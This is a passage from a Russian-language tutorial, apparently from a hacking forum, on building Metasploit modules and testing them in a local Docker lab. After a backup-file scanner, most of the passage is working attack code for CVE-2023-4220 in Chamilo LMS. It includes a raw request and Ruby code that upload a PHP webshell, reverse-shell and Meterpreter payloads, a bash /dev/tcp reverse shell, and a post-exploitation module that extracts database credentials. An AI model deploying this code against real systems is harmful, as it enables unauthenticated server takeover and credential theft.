type: 'web.backup',
data: path,
update: :unique
)
return true
end
rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED => e
vprint_error("Connection failed for #{path}: #{e.class} #{e.message}")
rescue ::Timeout::Error => e
vprint_error("Timeout while checking #{path}")
end
false
end
Через send_request_cgi отправляем запрос на сервер. Если есть ответ и он “200”, выводим радостное сообщение пользователю и сохраняем информацию в базу через report_note. Остановлюсь чуть подробнее на этих функциях. Давайте глянем, какие есть варианты сообщать информацию:
print_status - информационное сообщение пользователю, цвет сообщения белый [*]
print_good - радостно (зеленым) сообщаем, что что-то нашли [+]
print_warning - соответственно, желтое предупреждение [!]
print_error - ошибка, но не критическая. Цвет красный [-]
print_debug - голубым цветом выводится отладочная информация [*]
Причем, если вывод должен зависеть от verbose режим, то к названию функции надо добавить “v”. Например, vprint_good.
Если нужно сохранять информацию в лог, без вывода на экран, доступна функция elog().
Функция report_note несет в себе больше функционала, так как сохраняет результаты сканирования в общий отчет по сканированию ресурса. Она не обязательная, но дает серьезные плюсы при комплексной работе. Благодаря ей, другие модули узнают о наличии уязвимости. Более того, если указать update: :unique, это гарантирует что добавленный путь не будет дублироваться. Ну и без выполнения этой функции, результаты будут видны только во время выполнения модуля.
Тестовый стенд для модуля
Модуль готов. Для тестирования создадим простой проект в Docker. Все нужные архивы будут прикреплены к статье. Структура тестового проекта:
Код:
Test/
├── docker-compose.yml
├── Dockerfile
└── web/
├── index.php
├── admin.php
├── admin.old
├── config.php
├── config.php.old
└── .htaccess
Как видно из структуры, наш вспомогательный модуль должен найти два файла. Запускаем метасплоит и, на всякий случай, делаем reload_all после чего указываем использовать наш модуль:
Класс, пока все работает как надо. Не знаю как у вас, но у меня это всегда вызывает детский восторг… понятно, что по другому и быть не могло, но блин это работает)))) Укажем нужные опции:
Но при запуске случится ошибка…
Просто затупил и указал относительный путь, когда надо прописывать полный /home/kali/Test.. Оставляю здесь, мало ли кто мучатся будет. Исправляем, запускаем:
Отлично, файлы архивов успешно найдены и мы получили красивый вывод! Но по какой причине прошло два сканирования вместо одного? Все дело в том, как работает метасплоит с доменными именами. Первым делом он резолвит DNS (A для IPv4 и AAAA для IPv6). После доменное имя преобразуется во все связанные IP-адреса и каждый адрес сканируется отдельно. Когда речь идет о localhost, при резолве получается две записи: 127.0.0.1 для IPv4 и ::1 для IPv6. С другими доменами может быть подобная ситуация, если работает и IPv4 и IPv6. Избежать подобного поведения можно указав конкретный адрес:
Чтобы избежать такого поведения в нашем модуле, можно добавить небольшой кусок кода в запускающую функцию:
Ruby:
if Rex::Socket.is_ipv6?(target_host)
vprint_status("Skipping IPv6 address #{target_host}")
return
end
После чего включить режим verbose, чтобы наш vprint отображался, через
Код:
set VERBOSE true
Отныне и во веки, наш модуль перестанет взаимодействовать с IPv6 адресами. При необходимости можно создать глобальный параметр указывающий, надо ли обрабатывать шестерки, но здесь это лишнее.
Улучшаем модуль
Мне не нравится, что требуется предварительное сканирование. Логичным было бы дать пользователю возможность выполнить сканирование прямо в рамках модуля. Создать вариант двухэтапного сканирования, когда модуль сначала проходит по словарю в попытках разобраться со структурой веб-проекта. Когда структура создана, совершает второй проход с целью найти бэкапы.Начнем с добавления двух параметров:
PRESCANNED - булево значение, которое указывает, является ли FILES_WL ранее отсканированной структурой или это просто словарь с возможными названиями файлов и папок.
MAX_DEPTH - максимальная глубина первичного сканирования
Ruby:
def initialize(info = {})
super(update_info(info,
'Name' => 'Advanced Web Backup PHP File Finder',
'Description' => %q{
This module searches for backup files on a web server using either:
1. Pre-scanned structure (PRESCANNED=true)
2. Two-stage scanning with directory discovery (PRESCANNED=false)
Supports IPv6 filtering and depth control.
},
'Author' => ['petrinh1988'],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://xss.pro']
]
))
register_options(
[
OptPath.new('FILES_WL', [true, 'Path to file with list of web application files']),
OptPath.new('BACKUP_EXTS_WL', [true, 'Path to file with backup extensions list']),
OptBool.new('PRESCANNED', [true, 'Use pre-scanned file structure', false]),
OptInt.new('MAX_DEPTH', [true, 'Maximum recursion depth for discovery', 2]),
OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false])
])
end
Нам нужно поменять логику запускающей функции. Проверить состояние “PRESCANNED”, если true, то запустить функцию первичного сканирования. В ином случае просто получаем массив, как и раньше. Сделал через тернарный оператор:
Ruby:
files = datastore['PRESCANNED'] ?
read_file_to_array(datastore['FILES_WL']) :
discover_structure
Функция построения структуры:
Ruby:
def discover_structure
discovered = []
print_status("Starting discovery with wordlist (max depth: #{datastore['MAX_DEPTH']})")
scan_directory("/", discovered, 0, datastore['MAX_DEPTH'])
if discovered.empty?
print_warning("No PHP files discovered")
else
print_good("Discovered #{discovered.size} PHP files:")
discovered.each { |file| print_status(" #{file}") }
end
discovered
end
Как видно, фактически это функция инициализации процесса. Все дело в том, что сканирование предполагается рекурсивное. Чтобы не превращать код в ад, рекурсивная функция написана отдельно. За нее отвечает следующий кусок кода:
Ruby:
def scan_directory(current_path, discovered_files, current_depth, max_depth)
read_file_to_array(datastore['FILES_WL']).each do |name|
next if name.empty?
base_path = current_path.end_with?('/') ? current_path : "#{current_path}/"
full_path = File.join(base_path, name)
full_path_php = "#{full_path}.php"
if php_file_exists?(full_path_php)
discovered_files << full_path_php
print_good("Found PHP file: #{full_path_php}")
end
if directory_exists?(full_path) && current_depth < max_depth
dir_path = full_path.end_with?('/') ? full_path : "#{full_path}/"
vprint_status("Entering directory: #{dir_path}")
scan_directory(dir_path, discovered_files, current_depth + 1, max_depth)
end
end
end
Для каждого значения словаря, формируем новые пути. Проверяем есть ли у нас пхп-файл с таким именем, после чего проверяем есть ли директория с таким именем. В директорию, соответственно, рекурсивно углубляемся.
Функции проверки на существование директории:
Ruby:
def directory_exists?(path)
test_path = path.end_with?('/') ? path : "#{path}/"
res = send_request_cgi(
'uri' => normalize_uri(test_path),
'method' => 'GET',
'ssl' => datastore['SSL'],
'timeout' => 10
)
return false unless res
case res.code
when 200
!php_content?(res)
when 301, 302
res.headers['Location'].present?
when 401, 403
true
else
false
end
end
В целом, при нормальных настройках сервера, функция неплохо справляется со своими задачами. Все сломать могут безумные сеошники/дорвейщики и иже с ними. Те, кто предпочитает на любой урл возвращать статус 200, либо не обрабатывать 404 и редиректить на главную. Но здесь возникает вопрос адекватности затрачиваемых ресурсов. Если атакуемое веб-приложение имеет такие особенности, проще бороться с ними используя профессиональные инструменты фаззинга.
Чек существования файла PHP:
Ruby:
def php_file_exists?(path)
res = send_request_cgi(
'uri' => normalize_uri(path),
'method' => 'GET',
'ssl' => datastore['SSL'],
'timeout' => 10
)
res && res.code == 200 && php_content?(res)
end
Обе функции чека вызывают проверку на наличие php-контента. По большей части, эта функция смотрит чтобы был текстовый ответ, а не какой-нибудь стрим и т.п.:
Ruby:
def php_content?(response)
response.body.include?('<?php') ||
response.headers['Content-Type']&.include?('text/html')
end
Натравлю на наш тестовый сервер расширенную версию модуля, чтобы убедиться в работоспособности:
Фанфары, все дела — модуль прекрасно справляется со своей задачей. Можете себя поздравить, вспомогательные модули полностью вам поддались. Пойдем копаться в эксплуатации:
Развертывание тестового сервера Chamilo
Уязвимость CVE-2023-4220 есть в Chamilo вплоть до версии 1.11.24. Хотя по большому счету, уязвимость возникает в совершенно другом проекте, просто Chamilo использует его как модуль для загрузки больших файлов. Источник проблем это BigUpload версии 1.2. который позволяет загружать большие файлы (автор пишет о тестах до 2Гб). Любой проект использующий его может быть уязвим. Проблема возникает в том, что модуль позволяет выполнить не авторизованную загрузку файла, в том числе и PHP. Отправив POST запрос на bigUpload.php с параметром action равным “post-unsupported” и прикрепив в тело запроса файл, мы можем спокойно загрузить вебшелл. Пример запроса:
Код:
POST /main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: 213
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="bigUploadFile"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryABC123--
Таким образом, у нас появится простейший шелл, который через GET-запрос даст нам почти полную свободу действий. Пора бы уже собрать тестовый сервер и опробовать атаку…
Для начала скачаем архив с нужным релизом Chamilo отсюда.
Следующим этапом соберем проект для Docker. Как обычно, готовый архив приложен к статье. Структура проекта будет выглядеть следующим образом:
Код:
chamilo-docker/
├── docker-compose.yml
├── Dockerfile
├── data/
│ ├── mysql/
│ └── chamilo/
└── html/
В html копируем все файлы из архива Chamilo. Папке data будет монтироваться в проект и использоваться как хранилище.
Содержимое Dockerfile
Содержимое docker-compose.yml.
Билдим докер проект и заходим по адресу http://localhost:8080/. Если все сделано правильно, вы увидите радостное приветствие от Chamilo. Остается произвести установку и начать работу с приложением.
С установкой проблем не должно возникнуть. Почти все время жмем “Следующий”. Данные о “компании” забил от фонаря, хотя можно было и проигноировать полностью. Для подключения к БД используем следующие данные:
Код:
Хост БД: db
Имя пользователя: chamilo
Пароль: chamilopassword
Имя БД: chamilo
При установке у меня возникла проблема с подключением к базе данных. Контейнер с базой лежал, а в логах была такая ошибка:
Решился вопрос заменой mysql на mariadb. Если столкнулись с подобным, просто попробуйте подобрать другой вариант (разные версии и образы mysql):
Через несколько минут, стенд полностью готов к тестированию.
Эксплоит для CVE 2023-4220
Для начала проверим уязвимость. Возьмем с exploit-db готовый эксплоит на Python. Запустить скрипт можно следующей командой:
Bash:
python exploit.py "http://localhost:8080/" "id" --shell rce.php
В результате получим:
Проблема в том, что не создалась папка files в bigupload. По идее, папка должна создаваться сама, по крайней мере при загрузке документа в курс. Но в моем случае этого не произошло. Возможно потому что вообще никак не заморачивался с настройками и проигнорировал рекомендации Chamilo. Может с контейнером накосячил… либо разрабы внесли изменения в релиз. Интересно, что в исходниках из релиза папка есть.
Чтобы не заморачиваться, просто создал папку на сервере, по пути “/var/www/html/main/inc/lib/javascript/bigupload” и назначил ей права 777. После чего эксплоит прекрасно отработал:
Что же, все отлично эксплуатируется, теперь займемся портированием эксплоита в Metasploit.
Если посмотреть код эксплоита, от нас требуется только выполнить один POST-запрос на bigUpload.php. Указав в GET-параметрах action=post-unsupported. В тело запроса вставляем PHP-файл, который представляет собой простейший webshell. После чего, можно просто взаимодействовать с этим шеллом.
Создаем новый .rb - файл с базовой структурой. Путь к файлу:
Код:
/usr/share/metasploit-framework/modules/exploits/unix/webapp/
Чтобы быть честными, добавляем информацию об авторе эксплоита и чуть-чуть по себя:
Ruby:
##
# Metasploit Module
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Chamilo LMS 1.11.24 Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated file upload vulnerability in Chamilo LMS
version 1.11.24 and below, leading to remote code execution via a malicious PHP file.
The module supports both command execution and Meterpreter reverse shells.
},
'License' => MSF_LICENSE,
'Author' =>
[
'petrinh1988',
'Mohamed Kamel BOUZEKRIA (0x00-null)'
],
'References' =>
[
['CVE', '2023-4220'],
['URL', 'https://github.com/0x00-null/Chamilo-CVE-2023-4220-RCE-Exploit'],
['URL', 'https://xss.pro/members/356055/']
],
'DisclosureDate' => '2023-09-03',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Chamilo', '/']),
OptString.new('WEBSHELL_NAME', [false, 'Name of the uploaded shell', 'rce.php']),
])
end
def check
Exploit::CheckCode::Vulnerable("Checked! Yeahhh... cool... xss.pro FOREVER!")
end
def exploit
print_good('Exploited')
end
end
Это уже рабочий модуль)))
Из параметров, которые нужно указать пользователю (помимо стандартных RHOST, etc.) это “TARGETURI” - путь к папке с Chamilo.
Начнем с проверки на существование уязвимости. Для разнообразия, сделаю механизм получения версии PHP на сервере. Скрипт загрузит файл, который вызовет phpinfo(), после чего удалит файл (нам же нужно как можно меньше следов?). Получив информацию о php, модуль распарсит ответ и вычлени версию. Согласен, что идея сомнительная, зато забавная:
Ruby:
def check
test_file = "#{rand_text_alphanumeric(8)}.php"
upload_url = normalize_uri(target_uri.path, 'main', 'inc', 'lib', 'javascript', 'bigupload', 'inc', 'bigUpload.php')
check_url = normalize_uri(target_uri.path, 'main', 'inc', 'lib', 'javascript', 'bigupload', 'files', test_file)
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(16)}"
post_data = [
"--#{boundary}",
"Content-Disposition: form-data; name=\"bigUploadFile\"; filename=\"#{test_file}\"",
"Content-Type: application/x-php",
"",
"<?php phpinfo(); unlink(__FILE__); ?>",
"--#{boundary}--",
""
].join("\r\n")
print_status("Uploading self-deleting phpinfo() file...")
res = send_request_cgi({
'method' => 'POST',
'uri' => upload_url,
'query' => 'action=post-unsupported',
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data
})
return Exploit::CheckCode::Unknown('No response from target') unless res
return Exploit::CheckCode::Safe("Upload failed (HTTP #{res.code})") unless res.code == 200
print_status("Accessing uploaded file...")
res_check = send_request_cgi({
'method' => 'GET',
'uri' => check_url,
'headers' => { 'Connection' => 'close' }
})
if res_check && res_check.code == 200
if res_check.body.include?('<h1 class="p">PHP Version')
php_version = res_check.body.match(/<h1 class="p">PHP Version (.*?)<\/h1>/)[1] rescue 'unknown'
print_good("PHP version: #{php_version}")
return Exploit::CheckCode::Vulnerable("PHP info disclosure - Version: #{php_version}")
end
end
Exploit::CheckCode::Safe("No PHP info detected")
end
Что мы тут делаем?
- При помощи rand_text_alphanumeric(8) генерируем имя для тестового php-файла. При помощи normalize_uri формируем URL’ы.
- Собираем мультипарт пост запрос, в тело которого пихаем phpinfo() и удаление файла
- Через уже известную нам функцию send_request_cgi выполняем запрос
- Проверяем есть ли ответ и является ли он 200. Кто никогда не писал на Ruby, “unless” это замена “if !”, т.е. отрицающего иф.
- Снова делаем запрос, чтобы убедиться в успешности загрузки.
- Если все окей, парсим корявой регуляркой. Получилось? Все ок, у нас уязвимая система.
- Если добрались до последней строчки, то система защищена…
Обратите внимание, что результат проверки возвращается через Exploit::CheckCode. Кроме использованных вариантов, есть еще: Detected - уязвимость обнаружена, но может быть не эксплуатируемой: Appears - косвенные признаки наличия уязвимости (например, в нашем случае это просто обнаружение папки bigupload/files); Unsupported - неподдерживаемая система…
Функция чека готова, давайте затестируем её. Настроим параметры эксплоита:
Первый запуск:
Отлично, чек прекрасно работает. PHP-файлы свободно грузятся через уязвимость, код отработал и показал нам версию PHP на сервере. Напишем код эксплоита, который будет выполнять тот же “id” на сервере:
Ruby:
def exploit
webshell_name = datastore['WEBSHELL_NAME'] || "#{rand_text_alphanumeric(8)}.php"
upload_url = normalize_uri(target_uri.path, 'main', 'inc', 'lib', 'javascript', 'bigupload', 'inc', 'bigUpload.php')
webshell_url = normalize_uri(target_uri.path, 'main', 'inc', 'lib', 'javascript', 'bigupload', 'files', webshell_name)
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(16)}"
post_data = [
"--#{boundary}",
"Content-Disposition: form-data; name=\"bigUploadFile\"; filename=\"#{webshell_name}\"",
"Content-Type: application/x-php",
"",
"<?php system($_GET['cmd']); ?>",
"--#{boundary}--",
""
].join("\r\n")
print_status("Uploading webshell #{webshell_name}...")
res = send_request_cgi({
'method' => 'POST',
'uri' => upload_url,
'query' => 'action=post-unsupported',
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data
})
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to upload the webshell')
end
print_good("Webshell uploaded to: #{full_uri(webshell_url)}")
register_file_for_cleanup(webshell_name) if datastore['WEBSHELL_NAME']
cmd = datastore['CMD'] || 'id'
print_status("Executing command: #{cmd}")
res = send_request_cgi({
'method' => 'GET',
'uri' => @webshell_url,
'vars_get' => { 'cmd' => cmd }
})
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to execute the command')
end
print_good('Command executed successfully!')
print_line(res.body)
end
Здесь у нас две новых функции Metasploit Framework API:
- fail_with() - завершает выполнение модуля с указанной ошибкой.
- register_file_for_cleanup() - как понятно из названия, позволяет Метасплоиту запомнить имя файла, чтобы после завершения сеанса удалить его.
Логика, думаю, вполне понятная: загрузили шелл и передали ему команду, ответ распечатали. Если что-то пошло не так, выкинули ошибку.
Все работает, но для Метасплоита это мелкова-то…а вот прикрутить доступные в нем обратные оболочки, чтобы программа из консоли сразу подключилась и предоставила возможность спокойно и уверенно взаимодействовать с сервером, вполне себе задача. Перепишем код функции эксплоита так, чтобы модуль использовал загрузку по стадиям и спокойно взаимодействовал с php/meterpreter/reverse_tcp.
Начнем с фукнции инициализации:
Ruby:
def initialize(info = {})
super(update_info(info,
'Name' => 'Chamilo LMS 1.11.24 Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated file upload vulnerability in Chamilo LMS
version 1.11.24 and below, leading to remote code execution via a malicious PHP file.
},
'License' => MSF_LICENSE,
'Author' =>
[
'petrinh1988',
'Mohamed Kamel BOUZEKRIA (0x00-null)'
],
'References' =>
[
['CVE', '2023-4220'],
['URL', 'https://github.com/0x00-null/Chamilo-CVE-2023-4220-RCE-Exploit'],
['URL', 'https://xss.pro/members/356055/']
],
'Platform' => ['php', 'unix', 'linux'],
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
'Targets' =>
[
['PHP',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Payload' => {'BadChars' => "'"},
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/reverse_tcp'}
}
],
['Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' => {
'BadChars' => "'\"`",
'Compat' => {
'PayloadType' => 'cmd'
}
},
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}
}
],
['Linux (x86)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'}
}
],
['Linux (x64)',
{
'Platform' => 'linux',
'Arch' => ARCH_X64,
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'}
}
]
],
'DisclosureDate' => '2023-09-03',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Chamilo', '/']),
OptString.new('WEBSHELL_NAME', [false, 'Name of the uploaded shell', 'rce.php']),
])
end
Как видно, она сильно преобразилась, добавилось перечисление поддерживаемых платформ и архитектур. Кроме того, появилось подробное описание таргетов. Это нужно, чтобы у пользователя было больше возможностей для создания надежных сессий. Не получилось запуститься через PHP, пробуем пэйлоады подходящие к той или иной юникс-подобной системе. Юникс-подобной по причине того, что у нас тестовый сервер на Linux
При использовании модуля, от пользователя потребуется только указать IP удаленного и своего хоста, плюс порты. Дополнительные свойства это путь к чамило (TARGETURI) и имя файла вебшелла с которым он будет загружен на сервер (WEBSHELL_NAME).
Так как у нас несколько вариантов платформ, оптимальным вариантом будет раскидать работу с каждой в отдельную функцию. В результате запускающая функция будет выглядеть как-то так:
Ruby:
def exploit
print_status("Exploiting #{target.name} target...")
upload_webshell
case target.name
when 'PHP'
exploit_php
when 'Unix Command'
exploit_unix_cmd
when /Linux/
exploit_linux
else
fail_with(Failure::NoTarget, "Unsupported target: #{target.name}")
end
end
Внезапно к нам на огонек ворвался объект “target”. Этот чудесный объект нигде объявлять не нужно, нам его дарит Metasploit Framework API. Он является глобальным и доступен во всех методах. Основные свойства: name, arch, platform. Является расширяемым, зависит от метаописания модуля и настроек. В нашем примере, когда пользователь выполнит “set TARGET 0”, объект получит имя “PHP”, платформу “php” и архитектуру “ARCH_PHP”. Дополнительно, пэйлоад установится в 'php/meterpreter/reverse_tcp'.
Вернемся к коду. Сначала выполняется функция загрузки шелла. Независимо от платформы и прочего, мы будем запускать один и тот же кусок кода:
Ruby:
def upload_webshell
webshell_name = datastore['WEBSHELL_NAME'] || "#{rand_text_alphanumeric(8)}.php"
upload_url = normalize_uri(target_uri.path, 'main', 'inc', 'lib', 'javascript', 'bigupload', 'inc', 'bigUpload.php')
@webshell_url = normalize_uri(target_uri.path, 'main', 'inc', 'lib', 'javascript', 'bigupload', 'files', webshell_name)
boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(16)}"
post_data = [
"--#{boundary}",
"Content-Disposition: form-data; name=\"bigUploadFile\"; filename=\"#{webshell_name}\"",
"Content-Type: application/x-php",
"",
"<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>",
"--#{boundary}--",
""
].join("\r\n")
print_status("Uploading webshell #{webshell_name}...")
res = send_request_cgi({
'method' => 'POST',
'uri' => upload_url,
'query' => 'action=post-unsupported',
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data
})
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to upload the webshell')
end
print_good("Webshell uploaded to: #{full_uri(@webshell_url)}")
register_file_for_cleanup(webshell_name)
end
@webshell_url начинается с собаки, чтобы переменная была глобальной, так как потребуется полный урл нашего вебшелла, какой бы тип пэйлоада мы не выбрали.
Ruby:
def exploit_php
print_status("Executing PHP payload...")
php_payload = payload.encoded.gsub(/'/, "'\\\\''")
cmd = "php -r '#{php_payload}'"
send_request_cgi({
'method' => 'GET',
'uri' => @webshell_url,
'vars_get' => {
'cmd' => cmd
},
'headers' => { 'Connection' => 'close' }
}, 0)
print_status("Waiting for PHP Meterpreter session...")
end
Почти ничего нового, кроме крутого объекта “payload”. В нем храниться информация о нашем пэйлоаде. В данном случае, мы берем подготовленную для таргета версию (encoded) и заменяем апострофы. При необходимости можно получить сырой пйэлоад (raw), посмотреть запрещенные символы (badchar) и т.д. Данный объект нельзя изменять, но при необходимости можно на лету создать новый пайлоад с новыми параметрами. Самый простой вариант использования генератора пайлоадов — подбор обхода WAF при той же SQL Injection.
Тестовый запуск атаки:
Как видно, наш модуль прекрасно отработал. Создалась сессия, загрузилась оболочка, стабильный доступ к серверу организован. Даже остался мусор в виде тестовых файлов)))
Ruby:
def exploit_linux
print_status("Executing Linux staged payload...")
execute_cmdstager(
flavor: :curl,
noconcat: true,
enc_format: :php,
payload_path: "#{full_uri(@webshell_url)}?cmd="
)
end
В данном случае используется создание сессии по шагам. Думаю, если вы читаете тему, вряд ли нужно объяснять как это работает))) Чтобы запустить процесс, когда у нас есть возможность выполнять команды на сервер, достаточно вызвать функцию “execute_cmdstager”.
Причем, функция работает не только для linux-платформ. Можно так же создавать сессию для веб-приложений или Windows-систем. Функция крутая, проще справку по ней почитать, чем писать статью в статье)))
Обратите внимание, что в данном случае у нас появляется необходимость указать SRVPORT и он должен быть свободным. Так как докер крутит Chamilo на 8080, указал 8081:
Результат работы скрипта:
Функция для Unix очень похожа на PHP:
Ruby:
def exploit_unix_cmd
print_status("Executing Unix command payload...")
cmd = payload.encoded
vprint_status("Executing command: #{cmd}")
send_request_cgi({
'method' => 'GET',
'uri' => @webshell_url,
'vars_get' => {
'cmd' => cmd.gsub(/'/, "'\\\\''")
},
'headers' => { 'Connection' => 'close' }
}, 0)
end
Результат работы выглядит так:
Чтоже, целей своих мы добились — уязвимость прекрасно чекается, эксплуатируется и создаются полноценные сессии в Метасплоите.
Но есть ли альтернативный путь? Что если нет возможности использовать существующие пэйлоады? В этом случае, нам на помощь придет команда “handler”.
Ruby:
def exploit_unix_cmd
handler
send_request_cgi({
'uri' => @webshell_url,
'vars_get' => {'cmd' => "bash -c 'bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1'"}
})
end
В данном случае, код не несет смысловой нагрузки, просто как демонстрация, пример использования handler.
handler создаст слушатель, который дождется обратного соединения и автоматически обработает его, создав сессию. Но важно помнить, что при использовании reverse-shell команда должна идти до выполнения пэйлоада. Если же речь про bind-shell, когда на сервере ожидается наше подключение, хандлер вызывается после выполнения пэйлоада. Результат для пользователя — полноценная сессия, с боль-мень удобным шеллом, автодополнением команд и т.п.
Post-Exploitation
Раз у нас есть сессия, почему бы не дожать тему и не написать модуль пост-эксплуатации? Исключительно для практики, попробовать разные штуки и еще немного глубже узнать Metasploit Framework API.Модули пост-эксплуатации могут иметь множество задач: можно при помощи них пытаться поднять привилегии; можно каким-то образом перенастраивать веб или другое приложение, если у вас поточная работа; можно собирать данные и т.д и т.п. Чтобы не уходить далеко от написанного, предлагаю решать простую задачу — получать данные подключения к базе со взломанной машины с Chamilo. Выполняем поиск “configuration.php”, после чего находим имя хоста, базы…
Начнем с инициализации модуля, здесь все привычно:
Ruby:
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Chamilo Configuration Scanner',
'Description' => %q{
Locates configuration.php files and extracts database credentials.
Supports various Chamilo configuration file formats.
},
'License' => MSF_LICENSE,
'Author' => [ 'petrinh1988' ],
'References' =>
[
['URL', 'https://xss.pro/members/356055/']
],
'Platform' => [ 'linux', 'unix' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end
Из нового здесь строка “SessionTypes”. Это не просто формальность, она реально используется Метасплоитом. Фильтры просто не позволят увидеть модуль, если тип сессии не соответствует. Кстати, обратите внимание, что у нас не указан “meterpreter_php”, а именно он используется в Chamilo RCE в состоянии TARGET равного 1. Я не проверял совместимость кода модуля пост-эксплуатации с данными типом сессии, высока вероятность появления ошибок.
И так, нам надо найти конфигурационные файлы. Я сделал возможность расширить места поиска, но оставил одно значение в массиве, чтобы не растягивать процесс:
Ruby:
def find_config_files
print_status("Starting configuration file search...")
search_paths = ["/var/www/html/app"]
found_files = []
search_paths.each do |path|
next unless directory?(path)
print_status("Searching in #{path}...")
begin
files = session.fs.file.search(path, 'configuration.php', true, 7)
next if files.empty?
files.each do |file|
full_path = "#{file['path']}/#{file['name']}"
found_files << full_path if file_exist?(full_path)
end
rescue => e
print_error("Search error in #{path}: #{e.message}")
end
end
found_files.uniq
end
Функция обходит массив папок по которым ищем. Каждый раз убеждаемся, что имеем дело с директорией.
Ruby:
session.fs.file.search(path, 'configuration.php', true, 7)
Это функция поиска в папке. В данном случае, передав “true” мы сообщаем, что поиск нужен рекурсивный. Число, ожидаемо, глубина поиска. Что интересно, при значении 5, скрипт не находил файла. Хотя казалось бы, от папки app нужно залезть в подпапку config и там лежит нужный файл.
Далее обходим найденные файлы, проверяя что они действительно существуют. На выходе функция возвращает только уникальные значения.
Функция проверки директория ли:
Ruby:
def directory?(path)
if session.type == 'meterpreter'
session.fs.file.stat(path).directory?
else
cmd_exec("test -d #{path} && echo true").include?('true')
end
rescue
false
end
Как вы догадались, session.fs.file это объект, который MSFA предоставляет для взаимодействия с файловой системой привязанной к сессии с типом meterpreter. В ином случае, используется запуск команды на целевой машине через cmd_exec. Хук с include построен на том, что && echo true выполнится только в случае успешного выполнения первой части команды.
Очень похожая функция проверки файла на существование:
Ruby:
def file_exist?(path)
if session.type == 'meterpreter'
session.fs.file.exist?(path)
else
cmd_exec("test -f #{path} && echo true").include?('true')
end
rescue
false
end
Когда мы нашли файлы конфигураций, самое время обойти их и поискать нужные нам значения. Чтобы не хитрить, вызов первой функции и цикл обхода, легли в запускающий метод run:
Ruby:
def run
config_files = find_config_files
return print_error("No configuration files found") if config_files.empty?
config_files.each { |file| process_config_file(file) }
end
Далее читаем файл, ищем кредсы и сохраняем их если все ок:
Ruby:
def process_config_file(file_path)
print_good("Found configuration: #{file_path}")
raw_config = read_file(file_path)
unless raw_config
print_error("Failed to read file: #{file_path}")
return
end
print_status("Config sample (first 200 chars): #{raw_config[0..200]}...")
credentials = {
db_host: extract_value(raw_config, 'db_host'),
db_port: extract_value(raw_config, 'db_port') || '3306',
db_user: extract_value(raw_config, 'db_user'),
db_password: extract_value(raw_config, 'db_password'),
db_name: extract_value(raw_config, 'db_name'),
config_path: file_path
}
if valid_credentials?(credentials)
print_good("Valid credentials found!")
print_credentials(credentials)
store_credentials(credentials)
else
print_error("Invalid credentials. Extracted values:")
credentials.each { |k,v| print_line(" #{k.to_s.ljust(12)}: #{v.inspect}") }
print_error("Please check the regular expression pattern")
end
end
Функция парсинга значений:
Ruby:
def extract_value(data, key)
pattern = /
\$_configuration\s*\[\s*['"]#{key}['"]\s*\]\s*=>?\s*['"](.*?)['"]\s*;
/ix
match = data.match(pattern)
if match
print_good("Found match for #{key}: #{match[1]}")
match[1]
else
print_error("No match found for key: #{key}")
nil
end
end
Функция проверки данных номинальная. Она нужна для того, чтобы не возникло проблем при сохранении данных. Больше на всякий случай… проверяет чтобы все данные были иначе ошибка:
Ruby:
def valid_credentials?(creds)
creds[:db_host] && creds[:db_user] && creds[:db_password] && creds[:db_name]
end
Выод информации пользователю:
Ruby:
def print_credentials(creds)
print_good("Database Credentials")
print_line(" Config Path: #{creds[:config_path]}")
print_line(" Host: #{creds[:db_host]}")
print_line(" Port: #{creds[:db_port]}")
print_line(" User: #{creds[:db_user]}")
print_line(" Password: #{creds[:db_password]}")
print_line(" Database: #{creds[:db_name]}")
print_line("\n")
end
